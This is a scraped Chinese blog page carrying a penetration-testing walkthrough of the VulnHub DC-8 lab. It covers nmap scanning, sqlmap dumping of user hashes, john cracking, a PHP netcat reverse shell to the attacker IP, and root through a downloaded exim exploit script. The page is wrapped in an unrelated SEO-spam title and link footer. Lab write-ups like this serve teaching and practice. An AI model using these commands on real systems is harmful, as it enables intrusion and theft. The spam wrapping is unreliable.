当前位置: 首页 > news >正文

网站建设中倒计时模板下载优化

网站建设中倒计时模板下载,优化,学生个人网站模板,广州公司网站开发文章目录一、环境搭建二、渗透流程三、思路总结一、环境搭建 DC-8下载地址:https://download.vulnhub.com/dc/DC-8.zip kali:192.168.144.148 DC-8:192.168.144.156 二、渗透流程 1、信息收集nmap -T5 -A -p- -sV -sT 192.168.144.156思路&am…

文章目录

  • 一、环境搭建
  • 二、渗透流程
  • 三、思路总结


一、环境搭建

DC-8下载地址:https://download.vulnhub.com/dc/DC-8.zip
kali:192.168.144.148
DC-8:192.168.144.156


二、渗透流程

1、信息收集

nmap -T5 -A -p- -sV -sT 192.168.144.156

思路:
1、80端口

目录扫描:dirb、gobuster、dirsearch等工具;
web站点资产识别:goby、whatweb等;
web站点功能页面;
分析网页源代码;
……

2、22端口

ssh爆破、有账号密码信息进行远程登录
……


2、sql注入

1.插入'报错,尝试进行sql注入

2.爆数据库:
sqlmap -u "http://192.168.144.156/?nid=1" --dbs

3.爆d7db数据库的表:
sqlmap -u "http://192.168.144.156/?nid=1" -D d7db --tables

4.爆users表的列:
sqlmap -u "http://192.168.144.156/?nid=1" -D d7db -T 'users' --columns

5,爆users表的字段:
sqlmap -u "http://192.168.144.156/?nid=1" -D d7db -T 'users' -C uid,name,pass --dump

6.将这两个密码保存,使用john进行爆破:获取到账号密码 john:turtle

登录后台地址:
http://192.168.144.156/user/login
在这里插入图片描述


3、获取权限

1.php反弹shell代码

<?php system("nc -e /bin/sh 192.168.144.148 4444");?>

2.利用python切换到bash环境

python -c 'import pty;pty.spawn("/bin/bash")'

4、提权

1.利用find命令查找具有suid的root的文件

find / -perm -4000 -user root 2>/dev/null


2.查看exim具体版本

dpkg -l | grep exim


3.搜索exim 4.89的具体漏洞

searchsploit exim


4.漏洞利用
拷贝46996.sh到桌面

cp /usr/share/exploitdb/exploits/linux/local/46996.sh 46996.sh 

在46996.sh内容中添加:set ff=unix,否则会报如下错误:

kali 开启临时HTTP服务器

python -m SimpleHTTPServer

下载shell到/tmp临时文件目录

#下载kali主机46996.sh文件至靶机shell的/tmp目录下
wget http://192.168.144.148:8000/46996.sh
#并赋予权限
chmod 777 46996.sh
./46996.sh -m netcat 

三、思路总结

1、信息收集
2、利用SQL注入获取账号密码
3、登陆后台
4、插入脚本反弹shell
5、exim漏洞
6、SUID提权

参考链接:https://blog.mzfr.me/vulnhub-writeups/2019-09-5-DC8

http://www.shuangfujiaoyu.com/news/35368.html

相关文章:

  • 牛商网网站后台关键词优化一年的收费标准
  • 河北住房和城乡建设厅网站驱动google关键词查询工具
  • 制作ppt的软件电脑版免费东莞seo推广公司
  • 网站报错解析游戏推广怎么找玩家
  • wordpress 插件卸载seo推广话术
  • 自己做的网站容易被黑吗百度资讯指数
  • 华蓥住房和城乡建设厅网站外贸网站seo教程
  • 什么网站可以做问卷调查中山疫情最新消息
  • 专业微网站制作小程序开发文档
  • 沈阳鹊起网站建设站长推荐入口自动跳转
  • 在线网站建设价格多少seo网站优化软件价格
  • 宁波北仑做公司网站代做网页设计平台
  • 为什么有人做商城优惠券网站卖网站seo文章
  • 营销型网站建设易网拓网站统计平台
  • 青岛网站seo收费标准英语seo什么意思
  • 专业的做网站免费个人自助建站
  • 建设网络平台的流程郑州好的seo外包公司
  • 湛江模板建站系统网络推广公司如何做
  • 做儿童文学有哪些的网站抖音推广平台
  • 宛城区网站推广页面优化的方法有哪些
  • 之梦做的网站后台修改栏目描述甘肃搜索引擎网络优化
  • 温州网站建设这个有哪些平台可以做推广
  • 膜结构行业做网站网络营销方法有哪些举例
  • 福建泉州做网站公司seo营销推广全程实例
  • 如何给网站做2维码营销案例网站
  • wordpress运行php 404狼雨的seo教程
  • 网站适配移动端和PC端百度搜索引擎api
  • 郑州网站设计推荐佛山网站建设制作公司
  • 专业做营销网站建设营销网站
  • wordpress 远程图片关键词优化怎么优化